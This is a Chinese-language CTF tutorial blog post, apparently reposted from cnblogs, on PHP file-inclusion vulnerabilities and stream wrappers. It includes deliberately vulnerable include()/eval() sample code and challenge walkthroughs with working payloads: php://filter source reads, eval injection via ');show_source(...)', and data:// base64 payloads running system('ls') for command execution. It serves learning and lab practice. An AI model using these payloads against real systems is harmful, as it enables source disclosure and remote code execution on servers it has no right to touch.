ctf-web:PHP伪协议
<h1 id="243821198">文件包含漏洞<br></h1><p>为了更好地使用代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。</p>
<h2 id="3411126468">文件包含函数<br></h2>
<div class="table-wrapper">
<table style="height: 170px; width: 905px">
<thead>
<tr><th>函数</th><th>功能</th></tr>
</thead>
<tbody>
<tr>
<td>include()</td>
<td>代码执行到 include() 函数时将文件包含</td>
</tr>
<tr>
<td>include_once()</td>
<td>当重复调用同一文件时只调用一次,功能与 include() 相同</td>
</tr>
<tr>
<td>require()</td>
<td>require() 执行如果发生错误,函数会报错并终止脚本</td>
</tr>
<tr>
<td>require_once()</td>
<td>当重复调用同一文件时只调用一次,功能与 require() 相同</td>
</tr>
</tbody>
</table>
</div>
<h2 id="2540919326">包含漏洞分类<br></h2>
<h3 id="3160573227">本地包含<br></h3>
<p>当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。例如下面这段简易的代码:</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['file'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">include</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<h3 id="1439841201">远程包含<br></h3>
<p>当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:</p>
<div class="cnblogs_code">
<pre>allow_url_include = on(是否允许 <span style="color: rgba(0, 0, 255, 1)">include</span>/<span style="color: rgba(0, 0, 255, 1)">require</span><span style="color: rgba(0, 0, 0, 1)"> 远程文件)
allow_url_fopen </span>= on(是否允许打开远程文件)</pre>
</div>
<h1 id="1580761825">伪协议<br></h1>
<h2 id="1722716760">PHP 伪协议<br></h2>
<p>PHP 伪协议是 PHP 支持的协议与封装协议,几个 PHP 支持的伪协议如下。</p>
<div class="table-wrapper">
<table style="height: 204px; width: 1130px">
<thead>
<tr><th>伪协议</th><th>功能</th></tr>
</thead>
<tbody>
<tr>
<td>file://</td>
<td>访问本地文件系统</td>
</tr>
<tr>
<td>http://</td>
<td>访问 HTTP(s) 网址</td>
</tr>
<tr>
<td>php://</td>
<td>访问各个输入/输出流</td>
</tr>
<tr>
<td>phar://</td>
<td>PHP 归档</td>
</tr>
<tr>
<td>zip://</td>
<td>压缩流</td>
</tr>
</tbody>
</table>
</div>
<p>例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。</p>
<div class="cnblogs_code">
<pre>?<span style="color: rgba(0, 128, 128, 1)">file</span>=php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/read=convert.base64-encode/resource=index.php</span></pre>
</div>
<p>稍微解释下这个做法,php://filter/ 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php。问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。</p>
<h2 id="2146230942">data 伪协议<br></h2>
<p>php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:</p>
<div class="cnblogs_code">
<pre>data:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">text/plain;base64,xxxx(base64编码后的数据)</span></pre>
</div>
<h1 id="2028825529">例题:bugku-本地包含<br></h1>
<p>题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">include</span> "flag.php"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$a</span> = @<span style="color: rgba(128, 0, 128, 1)">$_REQUEST</span>['hello'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">eval</span>("var_dump(<span style="color: rgba(128, 0, 128, 1)">$a</span>);"); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">var_dump() 函数可以输出变量的类型和值</span>
<span style="color: rgba(0, 128, 128, 1)">show_source</span>(<span style="color: rgba(255, 0, 255, 1)">__FILE__</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<p>第一种解法是利用 eval() 函数,它把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码且必须以分号结尾。这里 eval() 会把变量 a 中的内容提取出来,然后执行 var_dump() 函数输出。不过由于变量 a 来自于变量 hello 变量,而如果 hello 变量中的内容是代码,也会被执行。所以这里可以传入一句代码来直接显示 flag.php,例如:</p>
<div class="cnblogs_code">
<pre>hello=);<span style="color: rgba(0, 128, 128, 1)">show_source</span>(%27flag.php%27</pre>
</div>
<p>则在 eval 中,就会把上述 hello 的值替换掉变量 a,等同于执行如下代码:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 128, 1)">var_dump</span><span style="color: rgba(0, 0, 0, 1)">();
</span><span style="color: rgba(0, 128, 128, 1)">show_source</span>('flag.php');</pre>
</div>
<p>同理,使用其他的函数显示文件也是可以的,注意使用 “);” 来构造。</p>
<div class="cnblogs_code">
<pre>hello=);<span style="color: rgba(0, 128, 128, 1)">print_r</span>(<span style="color: rgba(0, 128, 128, 1)">file</span>("flag.php"<span style="color: rgba(0, 0, 0, 1)">)
hello</span>=);<span style="color: rgba(0, 128, 128, 1)">var_dump</span>(<span style="color: rgba(0, 128, 128, 1)">file</span>("flag.php"<span style="color: rgba(0, 0, 0, 1)">)
hello</span>=);<span style="color: rgba(0, 0, 255, 1)">include</span>(@<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b']</pre>
</div>
<p>第二种解法就是用 PHP 伪协议把 flag.php 文件读出来,然后再使用 include() 函数包含出来。<br><img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200820150056955-1590708310.png" alt="" class="medium-zoom-image" loading="lazy"><br>当然还有第 3 种解法,就是直接把 flag.php 导入到 hello 变量中。</p>
<h1 id="4208128537">例题:bugku-flag 在 index 里<br></h1>
<p>打开网页,点击后观察 url 有个文件包含漏洞,也就是说我们可以想办法把包含 flag 的文件导出来。<br><img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200820152049085-1850774031.png" alt="" class="medium-zoom-image" loading="lazy"><br>根据提示 flag 在 index.php 里,使用 php 伪协议把文件内容的 base64 编码导出,解码得到 flag。<br><img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200820152315358-1041267491.png" alt="" class="medium-zoom-image" loading="lazy"></p>
<h1 id="4193056739">例题:bugku-welcome to bugkuctf<br></h1>
<p>打开网页查看源码如下,源码要求用 GET 方式传递三个参数,其中 user 不为空,并且作为文件名变量打开后的文件内容为 “welcome to the bugkuctf”,file 要求值为 hint.php。</p>
<div class="cnblogs_code">
<pre><!--
<span style="color: rgba(128, 0, 128, 1)">$user</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>["txt"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>["file"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$pass</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>["password"<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$user</span>)&&(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$user</span>,'r')==="welcome to the bugkuctf"<span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "hello admin!<br>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">include</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">hint.php</span>
<span style="color: rgba(0, 0, 0, 1)">}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "you are not admin ! "<span style="color: rgba(0, 0, 0, 1)">;
}
</span>--></pre>
</div>
<p>对于变量 user,当传进去的变量的参数作为文件名变量去打开时,可用 php://input 作为参数,同时使用 post 方式传入内容作为变量的文件内容。对于 file 变量,可以使用伪协议 php://filter 来读取 hint.php 文件。构造出的 payload 为:</p>
<div class="cnblogs_code">
<pre>index.php?txt=php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=</span></pre>
</div>
<p> </p>
<p><img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200820154333148-461724009.png" alt="" class="medium-zoom-image" loading="lazy"><br>此时就得到了 hint.php 的源码的 base64 编码,解码后得到:</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span> Flag{<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">flag.php</span>
<span style="color: rgba(0, 0, 255, 1)">public</span> <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">public</span> <span style="color: rgba(0, 0, 255, 1)">function</span><span style="color: rgba(0, 0, 0, 1)"> __tostring(){
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$this</span>-><span style="color: rgba(0, 128, 128, 1)">file</span><span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$this</span>-><span style="color: rgba(0, 128, 128, 1)">file</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">return</span> ("good"<span style="color: rgba(0, 0, 0, 1)">);
}
}
}
</span>?></pre>
</div>
<p>接下来的内容关于 PHP 反序列化。</p>
<h1 id="4171924629">例题:攻防世界-Web_php_include<br></h1>
<p>打开网页,看到一段 PHP 代码如下,观察到这段代码有 include() 函数,因此这题要考虑文件包含漏洞。strstr() 函数查找字符串首次出现的位置,然后返回字符串剩余部分。注意到这段代码使用了 strstr() 函数将传入参数中的 “php://” 全部删了,也就是说此处无法直接使用 PHP 伪协议来完成。</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">show_source</span>(<span style="color: rgba(255, 0, 255, 1)">__FILE__</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['hello'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$page</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['page'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">while</span> (<span style="color: rgba(0, 128, 128, 1)">strstr</span>(<span style="color: rgba(128, 0, 128, 1)">$page</span>, "php://"<span style="color: rgba(0, 0, 0, 1)">)) {
</span><span style="color: rgba(128, 0, 128, 1)">$page</span>=<span style="color: rgba(0, 128, 128, 1)">str_replace</span>("php://", "", <span style="color: rgba(128, 0, 128, 1)">$page</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">include</span>(<span style="color: rgba(128, 0, 128, 1)">$page</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<p>注意到这里还传递了一个参数 “hello”,我们尝试传一个参数进去,发现这个参数被回显回了网页。因此我们考虑以命令执行,然后命令执行的结果回显到浏览器,例如用 ls、cat 命令来查看。<br><img src="https://img2020.cnblogs.com/blog/1774310/202009/1774310-20200901210831373-1280597631.png" alt="" class="medium-zoom-image" loading="lazy"><br>这里可以改用 data 伪协议来做,首先我们还是要先知道 flag 放在哪里,写出如下代码,则网页就会执行 ls 命令输出目录下的文件名。</p>
<div class="cnblogs_code">
<pre><?php <span style="color: rgba(0, 128, 128, 1)">system</span>("ls")?></pre>
</div>
<p>根据 data 伪协议的使用方法,我们需要把上述代码用 base64 编码然后传入:</p>
<div class="cnblogs_code">
<pre>?page=data:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1774310/202009/1774310-20200901205306791-1622509107.png" alt="" class="medium-zoom-image" loading="lazy"><br>接下来就要查看 “fl4gisisish3r3.php” 这个文件的内容了,还是一样写出下面代码让网页执行 cat 命令查看文件。</p>
<div class="cnblogs_code">
<pre><?php <span style="color: rgba(0, 128, 128, 1)">system</span>("cat")?></pre>
</div>
<p>还是一样把上述代码用 base64 编码然后传入,然后打开 F12 查看源码就能看到 flag。</p>
<div class="cnblogs_code">
<pre>?page=data:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQiKT8+</span></pre>
</div>
<p> 转载自:https://www.cnblogs.com/linfangnan/p/13535097.html</p><br><br>
来源:https://www.cnblogs.com/pursue-security/p/15374168.html
頁:
[1]